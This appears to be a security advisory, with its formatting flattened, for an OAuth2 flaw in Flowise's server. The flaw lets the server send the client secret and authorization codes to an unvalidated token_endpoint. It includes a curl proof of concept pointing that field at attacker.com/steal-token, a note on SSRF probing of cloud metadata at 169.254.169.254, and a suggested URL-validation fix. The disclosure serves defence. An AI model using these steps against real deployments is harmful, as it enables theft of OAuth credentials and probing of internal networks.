Views
No views yet
packages/server/src/routes/oauth2/index.tscredentials:create permission) to configure custom OAuth2 providers by setting token_endpoint and authorization_endpoint in credential data. The token_endpoint URL is used without validation to exchange authorization codes for access tokens.token_endpoint pointing to an attacker-controlled server. When the OAuth2 callback fires, Flowise sends a POST request to the attacker's server containing:client_idclient_secretauthorization_coderedirect_uriscopecredentials:create permission:1curl -X POST http://flowise:3000/api/v1/credentials \
2 -H "Authorization: Bearer <user_token>" \
3 -H "Content-Type: application/json" \
4 -d '{
5 "name": "Malicious OAuth",
6 "credentialName": "oAuth2Api",
7 "encryptedData": {
8 "client_id": "legitimate-app-id",
9 "client_secret": "legitimate-secret",
10 "token_endpoint": "https://attacker.com/steal-token",
11 "authorization_endpoint": "https://accounts.google.com/o/oauth2/v2/auth",
12 "scope": "openid email profile"
13 }
14 }'1curl -X POST http://flowise:3000/api/v1/oauth2/authorize/<credential_id>
2# Returns authorization URL — user authenticates normally with Google/Microsoft/api/v1/oauth2/callback, the server executes:1// Line 213-240 in oauth2/index.ts
2let tokenUrl = accessTokenUrl // from credential's token_endpoint field
3const tokenResponse = await axios.post(tokenUrl,
4 new URLSearchParams(tokenRequestData).toString(), {
5 headers: {
6 'Content-Type': 'application/x-www-form-urlencoded',
7 Accept: 'application/json'
8 }
9 })https://attacker.com/steal-token receives:client_id=legitimate-app-id&
client_secret=legitimate-secret&
code=4/0AX4XfWh...&
grant_type=authorization_code&
redirect_uri=http://flowise:3000/api/v1/oauth2/callback1let tokenUrl = accessTokenUrl // same user-controlled field
2const tokenResponse = await axios.post(tokenUrl,
3 new URLSearchParams(refreshRequestData).toString(), ...)client_secret which may grant long-term API accesscode which can be exchanged for access tokens at the real providertoken_endpoint to internal URLs (e.g., http://169.254.169.254/latest/meta-data/), the attacker can probe internal infrastructuretoken_endpoint URL from credential configuration is used directly in axios.post() without:token_endpoint URL before making requests:1import { URL } from 'url';
2import { isPrivateIP } from '../utils/networking';
3
4function validateTokenUrl(urlString: string): void {
5 const url = new URL(urlString);
6
7 // Require HTTPS
8 if (url.protocol !== 'https:') {
9 throw new Error('Token endpoint must use HTTPS');
10 }
11
12 // Block private IPs
13 if (isPrivateIP(url.hostname)) {
14 throw new Error('Token endpoint cannot point to private IP');
15 }
16
17 // Optional: allowlist known OAuth providers
18 const ALLOWED_HOSTS = [
19 'login.microsoftonline.com',
20 'accounts.google.com',
21 'oauth2.googleapis.com',
22 'github.com',
23 ];
24 if (!ALLOWED_HOSTS.some(h => url.hostname.endsWith(h))) {
25 logger.warn(`Non-standard OAuth token endpoint: ${url.hostname}`);
26 }
27}